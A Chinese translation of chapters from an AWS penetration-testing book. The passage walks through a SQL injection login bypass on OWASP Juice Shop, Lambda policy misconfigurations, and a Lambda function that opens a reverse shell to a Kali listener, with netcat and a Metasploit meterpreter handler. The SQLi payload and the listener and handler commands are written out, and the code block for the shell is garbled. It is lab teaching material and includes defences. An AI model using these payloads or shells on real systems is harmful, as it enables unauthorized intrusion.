在 Web 应用程序中找到/score-board是一个挑战。如果您想尝试各种方法来找到它,我建议使用目录搜索工具,如gobusterdirbdirbuster

正如您所看到的,我们有很多挑战可供选择。我们只会专注于注入挑战;但是,也可以随意查看其他挑战。由于我们只想执行注入任务,因此单击隐藏所有以删除所有任务 - 这应该会使所有挑战消失。一旦所有任务都消失了,单击注入 - 这将使所有注入挑战出现:

图 6.12 - 仅带注入的 Juice Shop 记分牌

图 6.12 - 仅带注入的 Juice Shop 记分牌

正如您所看到的,我们有一个广泛的挑战列表可供选择。每个挑战旁边都有一些星星 - 这些星星表示每个挑战的难度。星星越多,挑战就越困难。让我们将每个挑战都作为我们在实际渗透测试中会遇到的任务。

我们的第一个挑战将是绕过管理员登录提示并获得对 Web 应用程序的管理员访问权限。

绕过管理员登录

好的,让我们从一个简单的挑战开始,这在渗透测试中通常是一个实际的“在范围内”任务。在范围内的任务是允许的(在范围内)并且在渗透测试期间是必需的(任务)。这意味着客户希望您就特定任务(如结果、手动评估和关注的领域)提供反馈。在我们的情况下,我们需要就 Web 应用程序以及我们如何测试它以及如何进行修复提供反馈。

所以,让我们假设 Juice Shop 开设了一个在 AWS 内运行的新商店。他们希望我们测试登录页面的功能,并查看它是否容易受到任何注入的攻击。这样做有助于让 Juice Shop 了解他们的 Web 应用程序有多安全,以及他们需要修复什么。这是一种积极的方法,因为他们希望我们评估安全性,而不是合规性。

重要提示

测试合规性并不意味着您正在测试安全性。测试合规性意味着遵循一份检查清单,以测试在整体方案中可能或可能不是“安全”的项目。

让我们开始渗透测试吧!

  1. 首先,我们需要进入登录页面。登录页面可以在以下位置找到:
<<public dns>>/#/login

我们将看到以下屏幕:

图 6.13 - Juice Shop 的登录页面

图 6.13 - Juice Shop 的登录页面

很好,现在我们有了登录页面。

  1. 接下来,让我们测试一些奇怪的参数,看看登录页面是否正确处理输入。为了测试登录输入功能,请在用户名字段中输入'。密码可以是任何您想要的东西:

图 6.14 - 检查错误

图 6.14 - 检查错误

然后,我们得到了一个错误,如下所示。

图 6.15 - 输入错误

图 6.15 - 输入错误

您可以看到它给了我们一个关于对象的错误。这告诉我们它没有处理输入验证 - 但它并没有真正告诉我们它是什么类型的语法错误。从这里开始,我们需要对我们需要使用的语法类型进行一些猜测来执行注入。

我们将尝试使用一个简单的TRUE语句,这可能会让我们以管理员身份访问网站。就像以前一样,在这种情况下,密码并不重要。我们关注的是电子邮件字段的输入。在电子邮件字段中,输入以下真实语句:'OR '1'='1'--

图 6.16 - 测试 SQLi

图 6.16 - 测试 SQLi

在上一个截图中,您可以看到我们有管理员访问权限!这是因为输入字段不会对输入进行消毒,并且只要语句为真,就会执行任何输入。在我们的情况下,1=1为真,因此命令被处理。如果您需要回顾 SQLi,请返回第五章了解易受攻击的 RDS 服务,进行复习。

既然我们看到我们可以作为管理员登录,让我们看看这对非管理员用户有何影响。接下来,我们将看到我们可以以何种类型的用户身份登录。

以另一个用户身份登录

既然我们已经获得了管理员访问权限,让我们看看是否可以转变并以其他用户身份登录。在后期妥协后能够展示内部移动对于渗透测试和报告至关重要。如果您能够在网络中进行转变并在不被注意的情况下占有其他帐户,这将告诉客户他们的检测流程有多好。

重要说明

报告缺乏检测和警报是渗透测试的重要部分。如果目标没有标记您并发送警报,那么这意味着他们不会看到网络内部的攻击者。

有一个名为bender的用户可能在其帐户上有有价值的信息。出于密集的目的,我们将看到我们被指定找到一个用户,并在侦察期间找到了他,使用诸如theHarvester之类的工具。有人要求我们看看是否能够控制这个帐户。为了测试这一点,我们首先需要看看 Juice Shop 的电子邮件命名规则是什么:

图 6.17 – 获取电子邮件方案

图 6.17 – 获取电子邮件方案

成功的侦察后,我们看到电子邮件地址域为@juice-sh.op。现在,我们可以回到登录页面,并使用与之前相同的方法进行测试:

图 6.18 – 使用 benders 帐户测试 SQLi

图 6.18 – 使用 benders 帐户测试 SQLi

您将看到类似于这样的横幅:

您成功解决了挑战:登录 Bender

我们现在已成功完成分配给我们的任务,并将能够提交关于我们如何成功获取管理员帐户和bender用户帐户的报告。

既然我们已经执行了一些 SQLi 并执行了它,让我们开始了解如何防止它以及我们如何告诉客户和企业他们如何帮助减轻其组织内的潜在问题。

防止 SQLi

让我们就如何防止 SQLi 进行快速讨论。正如我们之前所看到的,如果没有正确地减轻,SQLi 可能是一种简单的策略,可以给攻击者带来王国的钥匙。既然我们已经亲身经历了这一点,让我们看看如何防止它!

在评估 Juice Shop 时,我们能够通过在电子邮件字段中输入真实语句来利用该应用程序。由于电子邮件部分的输入字段未被参数化,SQLi 是成功的。下面的示例说明了糟糕的查询和良好的查询语句。这些语句在实际数据库中:

username = "SELECT * FROM users WHERE email = '" + email + "'";
username = "SELECT * FROM users WHERE email = ?";

这两个查询都将被执行;但是,第二个查询只使用了电子邮件查询,而不是第一个查询,它查看了正在传递的整个参数,并将命令解释为整个 SQL 查询。这就是我们能够控制 Juice Shop 管理员帐户的方式。与其处理整个字符串,不如使用 SQL 语句加上电子邮件构造语句。

既然我们已经看到了 SQLi 的工作原理和减轻方法,让我们看看如何减轻可能发生在您的 AWS 企业中的最危险的攻击之一:DoS

避免 DoS

DoS是一个严重的网络应用程序漏洞,它有能力破坏服务和应用程序的可用性。DoS 的目标是关闭目标网络、服务或应用程序,并使其对用户和管理员不可访问 - 然而,最终,用户是主要的目标受众。

一种更复杂和破坏性更强的 DoS 攻击版本是DDoS攻击 - 使用多个攻击者机器攻击目标主机。DDoS 攻击通常是高技能和计划周密的攻击,利用僵尸网络向目标释放大量不需要的流量。

重要提示

僵尸网络是一大批被攻击者控制的受损计算机,用于进行对计算机所有者不知情的恶意攻击。

DDoS 攻击有两个非常明显的分类:

  • 基础设施层攻击

  • 应用层攻击

让我们快速看一下这两个分类的细节。虽然我们在 AWS 中无法实际进行 DoS 攻击,但了解这些分类并看看如何最大程度地减少 AWS 环境成为 DoS 或 DDoS 受害者的机会仍然是很好的。

基础设施层攻击

这一层的攻击通常是 SYN 洪水等攻击,以及耗尽受害主机资源的其他攻击。它们通过向目标发送大量的流量来使其不可用。这些类型的攻击通常不会在渗透测试期间使用,因为如果成功,它们将完全关闭客户的基础设施。然而,查找可能表明客户基础设施没有准备好处理 DoS 攻击的指标仍然是一个好的做法,比如没有检测到来自多个主机的格式错误数据包,或者没有检测到 DDoS 攻击使用的某些特定签名。

应用层攻击

这种类型的攻击是您可能会看到的较少的攻击向量;然而,在渗透测试中,这是您可能真正要做的事情。应用层的攻击涉及查看一个应用程序,而不是整个公司,并且试图在可能的情况下“破坏”应用程序。在渗透测试中,对应用程序进行 DoS 攻击可能是对应用程序进行模糊测试,直到应用程序出错并且无法再运行。这在缓冲区溢出中是一种极为常见的技术。

虽然我们不会在本书中深入研究缓冲区溢出,但我强烈建议您查看一些适合初学者的练习,这些练习将帮助您熟悉这个概念(github.com/stephenbradshaw/vulnserver)。

在 AWS 中防范 DDoS 攻击

现在我们了解了 DDoS 可能给企业带来的问题,至关重要的是我们了解一些如何保护免受破坏式攻击的概念。确保您的基础设施周围有防范不受欢迎的流量的保护措施,并且有规则限制只允许必要的流量是很重要的。您的客户业务需要了解什么是正常流量,什么不是正常流量。

备份和扩展对于确保您免受 DDoS 攻击的保护至关重要。如果已经实施了适当的扩展,另一个系统可以在另一个系统由于错误或攻击而崩溃时接管工作。AWS 有一个名为AWS Shield的应用程序 - 一个出色的 DDoS 管理应用程序(aws.amazon.com/shield/)。

使用Web 应用程序防火墙WAFs)是保护您拥有的任何公共面向 Web 的应用程序的绝佳方式,特别是如果它们用于员工和客户。AWS WAF 提供可定制的 Web 安全,允许管理员在它们甚至到达 Web 应用程序之前识别和消除目标。

总结

在本章中,我们学习了关于 Aurora 及其在 AWS 中的用途。我们设置了自己的 Aurora 实例,并学习了如何使用常见的渗透测试技术来寻找配置错误。接下来,我们学习了如何在 EC2 实例中设置 SQLi 实验室,并练习了一些在实际渗透测试中会遇到的常见注入方法。最后,我们讨论了 DoS 攻击及其对业务的影响。

现在您已经完成了本章,您可以在 AWS 中设置自己的实验室,以便在安全和授权的环境中测试 SQLi 攻击,并了解渗透测试 Amazon Aurora 的基础知识。

在下一章中,我们将介绍 Lambda 服务,并学习如何在 Lambda 中寻找配置错误。

进一步阅读

第七章:评估和渗透 Lambda 服务

Lambda 服务运行代码,稍后可以根据需要在 Lambda 环境内响应事件和其他任务。这些事件和任务是发生在 AWS 环境内的任何事情-HTTP 请求、对 S3 存储桶的修改,以及例如新的 EC2 实例被启动。这使得 Lambda 在为组织设置和扩展网络及其服务时成为一个重要的服务。然而,Lambda 确实存在一些问题,比如对访问 Lambda 的限制较弱,可以执行未经授权的操作的易受攻击的函数,以及允许发生利用的 Lambda 策略内建规则。

本章将重点介绍 Lambda 中的漏洞发现如何导致利用服务以及发现内部流程和对象。

在本章中,我们将涵盖以下主题:

  • 理解和设置 Lambda 服务

  • 深入了解 Lambda

  • 理解错误配置

  • 使用 Lambda 进行反向 shell 弹出

技术要求

本章中使用的代码可在以下链接找到:github.com/PacktPublishing/AWS-Penetration-Testing/tree/master/Chapter%207:%20Assessing%20and%20Pentesting%20Lambda%20Services

你还需要在具有公共 DNS 名称的 EC2 实例上安装 Kali Linux。

查看以下视频以查看代码的实际操作:bit.ly/35XHn7Q

理解和设置 Lambda 服务

欢迎来到 Lambda,在这里您的代码将在一个易于运行和管理的服务器上执行。Lambda 对于公司来说是简化运维和开发人员工作的绝佳方式,因为 Lambda 可以大幅度扩展和自动化基础架构。它允许代码仅在需要执行时执行,并可以帮助自动化其他服务,这样您就不必担心所有的维护工作!

让我们看看如何设置 Lambda 函数!

创建 Lambda 函数

Lambda 函数很像 Python 函数,因为它们执行其中构建的代码,而不是在外部执行。在 Python 中,这就是我们所谓的内部全局语法。内部语法是在函数内部构建的代码,只能在函数内部运行,而全局语法可以在函数外部运行。Lambda 函数在函数内部运行所有内容。这些函数用于自动化、扩展和处理中间的所有事情。虽然我们不打算讨论使用 Lambda 函数的各种原因,但您可以在亚马逊上找到大量关于 Lambda 可能性的资源。要了解更多信息,请查看 AWS 关于 AWS Lambda 的广泛信息资源:docs.aws.amazon.com/lambda/latest/dg/welcome.html

让我们重新登录到 AWS 控制台,并将 Lambda 仪表板快捷方式固定到我们的主仪表板上。将 Lambda 函数图标固定在那里将使我们更容易地引用 Lambda 部分,因为我们在定位 Lambda 时不必浏览所有服务。

以下步骤帮助我们创建 Lambda 函数:

  1. 转到 AWS 控制台并搜索Lambda图 7.1-将 Lambda 固定到 AWS 控制台

图 7.1-将 Lambda 固定到 AWS 控制台

  1. 一旦您有了 Lambda 的快捷方式,就可以点击它;让我们开始制作一个可以测试的函数。当您进入 Lambda 仪表板时,点击testFunctionRuntime选项将使用Python 3.6,这将是我们编写代码的环境:

图 7.2-从头创建 Lambda 函数

图 7.2-从头创建 Lambda 函数

完成后,您将看到可以保存和“测试”函数的位置。虽然查看函数配置管理器中的部分很重要,但现在我们不会太担心这个,因为它与我们正在做的事情关系不大。重要的是,我们了解在 AWS 控制台中如何设置 Lambda 的位置和方式-就像我们刚刚做的那样,并且在本章中将会更多地进行。

重要提示

有关 Lambda 的更多信息,请查看 AWS 文档:docs.aws.amazon.com/lex/latest/dg/gs-bp-create-lambda-function.html

让我们在下一节中进一步了解这些知识,并开始研究安全工程师和渗透测试人员如何使用某些技术来发现 Lambda 中的配置错误。

深入研究 Lambda

现在我们已经简要介绍了 Lambda 是什么,以及如何设置我们自己的 Lambda 服务,是时候开始研究 Lambda 的一些安全问题了。在实际的渗透测试过程中,您可能会遇到其中一些问题。在 AWS 方面,我作为渗透测试人员看到的最重要的问题之一是与 Lambda 相关的策略问题。策略是限制和允许访问资源的东西,类似于我们在第四章**,利用 S3 存储桶中所看到的。在本节中,我们将使用相同的方法论做一些事情,但我们将研究 Lambda 的配置错误。

重要提示

您将开始注意到,虽然本书中每一章的目标都不同,但方法论基本上是相同的,因为我们使用相同的步骤从目标中提取结果。

让我们开始向前迈进,学习更多的概念,并在 Lambda 中开始构建一些东西。让我们首先创建一个与 S3 配合工作的 Lambda 函数。

创建一个与 S3 兼容的 Lambda 函数

在本节中,我们将继续构建。了解 Lambda 服务及其功能是非常重要的。在这种情况下,它能够链接在渗透测试过程中可能成为潜在枢纽点的服务。

重要提示

枢纽是在获得访问权限后在环境中进行横向移动的过程。

我们要做的是开始研究 Lambda 和 S3 如何协同工作,然后我们可以看一些配置错误,如果不正确地进行缓解可能会导致一些问题。在我们利用系统之前,了解系统是如何创建的是至关重要的。这样做可以让我们能够采取“实践”方法来缓解这些问题,也有助于我们了解如何在各种服务之间进行流程中断,比如 S3 和 Lambda。

这是您可以期待的内容:

  1. 创建一个 S3 存储桶:此存储桶将与 Lambda 函数关联。

  2. 创建一个 Lambda 函数:Lambda 函数将作为 S3 存储桶的触发器进行集成。

  3. 将函数与 S3 集成

  4. 开始探索我们从渗透测试的角度创建的东西。

现在让我们开始吧!按照以下步骤进行:

  1. 首先,我们将使用 AWS 命令行创建我们的 S3 存储桶,并通过从 AWS 控制台查看它来验证我们的存储桶是否已创建-这是我认为的最佳实践。确保您随身携带您的 AWS ID 和 AWS 账户的 AWS 密钥。一旦您获得了您的凭据,使用aws configure命令登录到您的 AWS 环境。

重要提示

如果您需要帮助找到您的密钥,这是一个很好的参考资料,您可以使用它进行帮助:aws.amazon.com/blogs/security/how-to-find-update-access-keys-password-mfa-aws-management-console/

  1. 既然您已经进入环境,让我们开始创建一个存储桶!使用命令行,使用以下命令创建一个我们将存储在 AWS 环境中的存储桶:
$ aws s3api create-bucket --bucket pentestawslambda --region us-west-2 --create-bucket-configuration LocationConstraint=us-west-2

重要说明

您需要为存储桶名称使用自己独特的命名方案。此外,如果您不指定区域,它将默认放置在美国东部区域。

  1. 完成使用命令行创建存储桶后,请登录到 AWS 控制台并验证存储桶是否已创建。我们可以通过检查 S3 存储桶仪表板来验证这一点:

图 7.3–为 Lambda 创建的 S3 存储桶

图 7.3–为 Lambda 创建的 S3 存储桶

现在我们已经设置好了我们的存储桶,是时候继续并创建另一个 Lambda 函数,我们可以通过触发器将我们的新存储桶连接到其中。这个存储桶将与我们创建的第一个 Lambda 函数有所不同,但现在您已经知道了设置 Lambda 函数的基本方法。

让我们从创建一个新函数并将其命名为s3lambda开始。请记住,您只能使用数字和小写字母!对于Runtime,请选择当前版本的 Python。在这个示例中,我们使用的是 Python 3.8。在点击创建函数之前,我们确实需要对我们的 Lambda 函数进行一些其他操作。

现在我们需要创建一个基本的权限角色,这将与我们的 Lambda 函数关联。要做到这一点,请按照以下步骤:

  1. 点击s3_pentesting_lambda

--策略模板Amazon S3 对象只读权限AWS Config 规则权限

图 7.4–为 S3 创建一个新函数

图 7.4–为 S3 创建一个新函数

  1. 然后,我们需要继续在 Lambda 函数中创建一个触发器。这个函数是由 Lambda 环境中发生的事情触发的。点击添加触发器开始,并选择S3链接我们创建的名为pentestawslambda的存储桶并保存:

图 7.5–创建一个 S3 触发器

图 7.5–创建一个 S3 触发器

干得好–我们已经创建了一个与触发器关联的新 Lambda 函数!重要的是要理解 Lambda 可以链接到其他环境,因为在真正的渗透测试中可能会遇到它。如果发现与其他服务连接的易受攻击的 Lambda 函数,请确保详细说明问题以及易受攻击的 Lambda 函数可能使其他服务变得更脆弱。

说到由配置错误导致的漏洞,让我们继续讨论 Lambda 中的配置错误。

了解配置错误

发现弱策略中的配置错误是渗透测试 AWS 服务(如 Lambda 和 S3)中更重要的部分之一。由于安全性已经“内置”在服务中,Lambda 中出现的许多问题是由于用户端的配置错误造成的。这并不意味着不会犯错误,也不意味着 Lambda 内部可能存在固有缺陷;然而,为了论证,我们将关注它的配置。

对于 Lambda 策略,配置错误发生在某个属性以“宽松”的方式设置时。 “宽松”一词意味着策略允许的内容超出了预期。这些策略是允许未经授权的个人查看未经其查看的信息,或者更糟糕的是,允许恶意向量查看和外泄数据的原因。

列出读取写入权限管理标记。在策略的操作中标有"*"的操作意味着任何人都可以在服务上执行操作,这是绝对不好的!

那么,是什么造成了这些宽松的策略,我们如何在 Lambda 中找到它们?这就是我们将要发现的。此外,我们将通过使用内置在 AWS CLI 中的工具来做到这一点。

首先,我们将开始查看我们使用 S3 创建的存储桶。回想一下,我们在创建 Lambda 函数并将其与存储桶集成时设置了一些相当“宽松”的权限。让我们看看它是如何轻松快速地升级到不被预期的情况的。

重要说明

在评估 Lambda 函数时,我们将进行 Lambda 和 S3 安全检查。

继续前进,让我们查询我们创建的 Lambda 函数的策略。这将为我们列出 Lambda 函数的属性:

$ aws lambda get-policy --function-name s3lambda --region us-west-2
{
    "Policy": "{\"Version\":\"2012-10-17\",\"Id\":\"default\",\"Statement\":[{\"Sid\":\"lambda-74fa4b03-e053-47e0-bdee-0288118c1b3e\",\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"s3.amazonaws.com\"},\"Action\":\"lambda:InvokeFunction\",\"Resource\":\"arn:aws:lambda:us-west-2:030316125638:function:s3lambda\",\"Condition\":{\"StringEquals\":{\"AWS:SourceAccount\":\"030316125638\"},\"ArnLike\":{\"AWS:SourceArn\":\"arn:aws:s3:::pentestawslambda\"}}}]}",
    "RevisionId": "692f71fd-40d2-40f6-99b0-42c4e1d7a353"
}

如您所见,策略的布局非常简单明了。但是,如果您仔细观察,您会注意到有关此函数的一些有趣之处。在继续之前,让我们仔细看看这个函数。如果我们在渗透测试中拉取了类似于这个策略的东西,我们会得出以下结论:

  • 允许调用函数的“允许”操作是允许的。虽然这很好,但我们通常不希望任何人都能这样做。允许任何人调用可能会在以后造成重大问题,因为如果有人成功入侵内部 AWS 网络,他们可能会继续运行 Lambda 函数。

  • 我们还在策略中看到了pentestawslambda S3 存储桶。虽然这更多是信息性的,但它让我们知道了 S3 存储桶的完整 URL。攻击者可以使用这些信息来了解更多关于 S3 存储桶,或者发现可能存在于该环境中的更多存储桶。因此,IAM 策略等访问控制对于只允许那些需要知道的人能够访问 AWS 环境中的服务至关重要。

现在我们对如何渗透测试 Lambda 以及要注意的事项有了更多了解,让我们采取不同的方法,看看如何在 Lambda 环境中获得持久性访问。

使用 Lambda 弹出反向 shell

本章的最后一部分涵盖了我最喜欢的渗透测试部分之一。本节将指导我们设置一个易受攻击的 Lambda 函数,然后使用该函数在我们的渗透测试机器上启动反向连接。对于本节,我们需要使用以下内容:

  • Kali Linux 在具有公共 DNS 名称的 EC2 实例上

  • 一个 Lambda 函数

重要说明

确保您正在使用具有公共 DNS 的 EC2 实例。 Lambda 函数将需要连接到该公共 DNS。

反向 shell 的酷炫之处

获取“shell”是渗透测试中最有成就感的部分之一。能够获得反向 shell 意味着您成功利用了目标并在该机器上获得了持久性(持久性是指在该机器上的终端连接)。但它不仅仅是一个连接;它还突显了被测试环境中的问题。例如,调用网络的服务器可能允许各种通常看不到的出站连接。这使得反向 shell 可以传送到公共网络。

渗透测试的 shell?

客户可能希望您测试其安全性的监控和检测。创建一个易受攻击的 Lambda 函数,使其在网络内部和外部进行调用,是测试公司监控实践和解决方案的绝佳方式,同时还可以与 Lambda 一起玩得开心。

获取 shell 远不止于仅仅获取 shell-它测试监控、防火墙规则和一般安全姿态。在渗透测试期间,如果您能够使用易受攻击的 Lambda 函数在网络外部获得反向 shell,可以假定网络内部的其他漏洞可能使用相同的路径呼叫网络外部。

现在我们更了解反向 shell,让我们看看如何设置一个易受攻击的 Lambda 函数,可以向我们回拨并允许远程访问 Lambda 环境。

重要说明

在继续之前,有必要知道 Lambda 按毫秒计费。如果您不断运行 Lambda 函数,将对其收费。

是时候使用 shell 了!

道德黑客游戏计划

现在让我们获取我们的 shell,现在我们对 shell 及其对渗透测试的影响有了一些了解。在实际执行之前,我们将看一下即将发生的事件顺序。在执行攻击路径时,事先制定游戏计划可能是一个好的做法:

  1. 启动一个带有公共 DNS 的 EC2 实例。

  2. 创建一个有漏洞的 Lambda 函数,将回调到公共 DNS。

  3. 在 EC2 实例上启动一个监听器。

  4. 测试并运行有漏洞的 Lambda 函数。

  5. 获取一个 shell。

获取一个 shell

现在我们有了一个游戏计划,让我们继续并启动我们之前创建的 EC2 实例。一旦它运行起来,继续登录到我们的 Lambda 仪表板。现在让我们看看如何通过以下步骤继续执行:

  1. 从这里开始,我们将点击创建函数按钮开始:图 7.6 - 创建另一个函数

图 7.6 - 创建另一个函数

  1. 登录后,创建一个名为LambdaShell的新函数,并确保选择Python 2.7。我们创建的角色将适用于此示例:图 7.7 - 为反向 shell 创建函数

图 7.7 - 为反向 shell 创建函数

  1. 现在是时候开始设置我们的函数,以创建与 EC2 实例的反向连接。我设置了一个 GitHub 存储库,我们可以从中拉取代码:github.com/PacktPublishing/AWS-Penetration-Testing/blob/master/Chapter%207:%20Assessing%20and%20Pentesting%20Lambda%20Services/Lambda_Shell.txt

您放入的代码应该如下所示:

lambda_handler that will execute a connection from the Lambda function to our attacker machine. Note that, when we call s.connect, we need to put our public DNS in the code where it says hostname. Once the function is executed, it will initiate a connection back to our machine and execute a Bash shell on the target Lambda function.Make sure that you designate a **port** to use and that the **hostname** is set to the public DNS name of your attacker machine on your EC2 instance. You can see what the public DNS name is by looking at the description for your Kali EC2 instance, which can be found on the EC2 dashboard.
  1. 接下来,我们需要确保函数不会太快超时。默认情况下,函数应该在大约 3 秒后超时。我们需要建立持久性,所以可以将超时设置为大约5分钟 - 如果需要,可以设置更长时间:

重要提示

Lambda 函数允许的最长时间为15分钟。

图 7.8 - 设置 shell 超时

图 7.8 - 设置 shell 超时

  1. 接下来,您需要 SSH 到您的 Kali 机器,并设置一个su -命令,在每个命令之前切换到sudo,因为您将以 root 帐户运行。

  2. 下一个命令设置了我们将用于监听来自目标Lambda 服务的传入连接的netcat监听器:

$ nc -lvnp 1337
  1. 我们应该让我们的监听器待命,准备好测试我们的功能。现在是我们获得反向 shell 并在 Lambda 环境中获得一些持久性的时候了。要执行,请点击右上角的测试按钮。您将看到一个显示配置测试事件的窗口 - 继续点击创建,然后再次点击测试。请注意,在点击测试之前,您将获得一个具有三个键的事件模板。将它们保留为默认值:图 7.9 - 在执行函数之前配置测试事件

图 7.9 - 在执行函数之前配置测试事件

  1. 点击测试按钮后,您将看到函数在仪表板中运行。现在回到您在 Kali 机器上的终端。您将在 Lambda 实例上收到一个反向连接!随时在您的 shell 中运行一些 Linux 命令:

图 7.10 - 获取反向 shell

图 7.10 - 获取反向 shell

看吧!我们可以始终访问 Lambda 环境!虽然这是一个很酷的有趣的例子,但我们需要了解一些潜在的问题,以及为什么在渗透测试期间我们会记录这些。假设我们正在测试 Lambda 环境的弱策略。策略不应该允许渗透测试人员执行超出 Lambda 环境的调用 - 记住,我们去了一个公共 DNS,这意味着我们走出了 VPC!

好的,所以我们之前在 AWS 控制台的 GUI 中完成了所有这些操作,这很有趣也很酷。让我们快速看一下更实用的方法 - 使用 AWS CLI。我们将假设凭据已被泄露,并且该函数已经准备好供我们使用。

使用 AWS CLI 调用

现在我们的函数已经在环境中,让我们看看如何只使用托管在我们的公共 EC2 实例上的 Kali Linux 机器来实现持久性。首先,确保您通过 SSH 登录到 Kali,并通过在命令的末尾加上&来在后台运行netcat。在后台运行命令可以让您仍然使用终端:

$ nc -lvp 1337 &

现在你的监听器已经在后台设置好并准备就绪。在执行连接之前,我们需要配置到 AWS 环境。在终端中键入aws configure,确保使用我们在之前章节中使用的 ID 和密钥。一旦设置到环境中,运行以下命令来启动 shell:

$ aws lambda invoke --function-name <<Lambda ARN>> --invocation-type RequestResponse outfile.txt --region <<aws region>>

重要提示

您可能需要在您的 Kali 实例上安装 AWS CLI。要安装 AWS CLI,请运行以下命令:$ apt-get install awscli -y

正如你所看到的,在 Lambda 中获取 shell 可能很有趣,但对于毫无戒心的企业来说也可能很危险。对抗这种情况的一个很好的方法是在网络中部署监控解决方案 - 诸如网络预防和检测系统之类的设备,这些设备具有检测网络中的异常流量的出口规则,以及检查进入的数据包的入口规则。在 AWS 方面,CloudTrail是在尝试检测与 AWS 环境之间的流量时使用的一个很好的资源。

在本书中我们已经谈论了很多关于 Metasploit,现在让我们看看如何在 Lambda 中使用 Metasploit。我们将看看如何利用 Metasploit 中的处理程序来捕获会话。

重要提示

会话是在 Metasploit 中被挂钩的连接。

使用 Metasploit 和 Lambda 玩得开心

现在我们了解了如何使用 Python 和 Lambda 创建 shell 脚本,让我们看看如何使用 Metasploit 来获得类似的结果!在这个练习中,我们可以使用之前的相同有效载荷;但是,如果您重新启动了实例或者使用了不同的 EC2,您可能需要更改您的实例 DNS 名称。

在开始之前,让我们讨论一下我们将要做什么;记住,最好在执行计划之前制定计划,即使这个计划很小!例如,我们需要使用netcat建立连接。我们在设置 Lambda 函数的反向 shell 时学习了netcat

由于我们之前在第三章**,探索渗透测试和 AWS中使用过 Metasploit,所以不需要讨论 Metasploit 或如何启动它。但是,我们需要确保使用正确的有效载荷。以下步骤将展示如何使用 Python 有效载荷设置处理程序,以捕获我们的脆弱 Lambda 函数的连接。

启动 Metasploit 并输入以下命令开始设置处理程序:

$ use exploit/multi/handler 
$ set payload python/meterpreter/reverse_tcp
$ set lhost <<EC2 instance DNS>>
$ set lport 1337
$ run 

一旦您开始运行处理程序,您的处理程序将进入netcat工作,除了我们使用 Meterpreter 来解释我们的 shell 和netcat连接中使用的默认 Bash shell 之外。Meterpreter shell 比netcat连接更强大,因为它们提供了大量的模块,您可以在 Meterpreter shell 中加载这些模块。我们将在第九章**,使用 Metasploit 进行真实渗透测试和更多内容中了解更多。

现在我们的监听器正在运行,回到您的易受攻击的 Lambda 函数并测试它,尝试连接到您的 Meterpreter 监听器。如果一切顺利,您将拥有一个分段器,然后是一个会话。您的会话是与目标的交互式 shell:

图 7.11-通过 Meterpreter 获取反向 shell

图 7.11-通过 Meterpreter 获取反向 shell

现在,在我们的 Lambda 实例上通过 Meterpreter 拥有了一个交互式 shell。如果此 Lambda 实例正在连接其他资源,则可能存在转向的可能性-但是在本示例中,我们不会过多担心这一点。在第九章**,使用 Metasploit 进行真实渗透测试和更多内容中将更多地涉及转向。目前,可以随意移动您的 shell,尝试不同的有效载荷,甚至扩展您的环境,看看您还能做些什么!

在书的这一部分中做得很好!本章着重介绍了一些在渗透测试中使用的新技术,您还学会了如何在 Lambda 上获取反向 shell!

摘要

在本章中,我们看了如何在 AWS 中创建 Lambda 函数以及它们的功能。我们还研究了 Lambda 的易受攻击问题以及这些问题可能给未能隔离这些问题的组织带来的漏洞。创建反向 shell 有助于我们了解如果易受攻击的 Lambda 函数出现在环境中会出现什么严重问题。

在下一章中,我们将开始研究如何攻击 AWS API,并查看它们如何处理请求,以及讨论用于保护它们的技术。

进一步阅读

第八章:评估 AWS API Gateway

AWS API Gateway 充当了可以托管各种类型数据的应用程序的门户。它们托管的数据各不相同;然而,有一点是一样的,即一些数据可能被未经授权的人员视为有吸引力 - 例如 S3 存储桶的位置或过于宽松的标头。本章将讨论 AWS API Gateway 是什么,以及您如何学习使用开源工具检查 API 调用和操纵 API 调用。

了解 AWS API 的工作原理将使我们的思维模式从 Linux 终端扩展到浏览器,并了解 Web 服务的基础知识以及如何与其交互。在阅读本章的过程中,请记住,其中的许多技术也可以评估 AWS 中的所有 Web 应用程序。本章旨在让您全面了解 AWS API 以及如何通过操纵 API 调用来评估 Web 应用程序。

在本章中,我们将涵盖以下主题:

  • 探索和配置 AWS API

  • 使用 AWS 创建我们的第一个 API

  • 使用 Burp Suite 入门

  • 使用 Burp Suite 检查流量

  • 操纵 API 调用

技术要求

查看以下视频以查看代码的实际操作:bit.ly/3kPr2sb

探索和配置 AWS API

您是否曾经想过信息是如何从您的计算机发送到网站或该网站的后端服务器的?通常情况下,您的请求是从浏览器发送的,然后通过称为应用程序编程接口API)的东西进行。API 是一个接口,用于允许其他应用程序或主机与一个中心点进行交互。在这种情况下,API 是中心点,而应用程序将是我们在 AWS 中与之交互的服务。

那么,这对于 AWS 意味着什么,我们将如何通过本书来使用它?首先,我们需要了解亚马逊 API 的基本术语以及亚马逊 API 网关如何管理服务。我们将通过查看 AWS 环境中 API 的高级视图来了解这一点,然后学习如何拦截和操纵 API 请求,就像在现实的渗透测试中一样。

AWS API Gateway 是一个托管服务,提供了一个前门,允许您访问各种 AWS 服务上的应用程序和数据。网关处理涉及接受和处理 API 请求的所有任务。API 还在身份验证和授权控制中发挥关键作用,这在安全方面起着至关重要的作用。如果有人能够绕过身份验证和授权机制,他们将能够直接访问被攻击的服务或资源。

在我们开始查看 API 的高级地图以及它们如何与我们的 AWS 环境配合工作之前,我们需要了解 AWS 提到的两种 API 类型。我们将讨论的两种 API 是RESTful APIsWebSocket APIs

RESTful APIs

REST 实际上是REpresentational State Transfer的首字母缩写。RESTful API 设计使我们能够进行所谓的无状态调用或无状态请求。这种无状态请求允许在发生故障时重新部署调用,并且在需要时也可以进行扩展。这个功能使得 RESTful API 在云应用中相当受欢迎,比如 AWS,因为无状态 API 的扩展可以很容易地与敏捷扩展的云环境集成。由于它们的敏捷性,RESTful API 可以根据流量负载快速进行调用和更改,而不会变得不堪重负。

重要提示

关于 API 的信息远远超出了本书中的材料。如果您想了解更多关于 RESTful API 的信息,请查看 AWS 文档:docs.aws.amazon.com/apigateway/api-reference/

现在我们对 RESTful API 有了更多的了解,让我们简要提一下另一种类型的 API:WebSocket API。

WebSocket API

WebSocket API 网关是集成了各种路由和各种服务(如 Lambda 函数和 HTTP 端点)的集合。WebSocket API 是双向的,并确保终端客户端可以将流量发送到服务并从服务发送通信回客户端。

重要提示

双向基本上意味着流量可以在两个不同的方向上运行。

由于它们的多功能性和双向功能,WebSocket API 通常用于运行实时流媒体频道的应用程序,例如游戏、华尔街使用的金融交易平台和聊天应用程序 - 其中一些您可能用来与朋友和家人交谈!

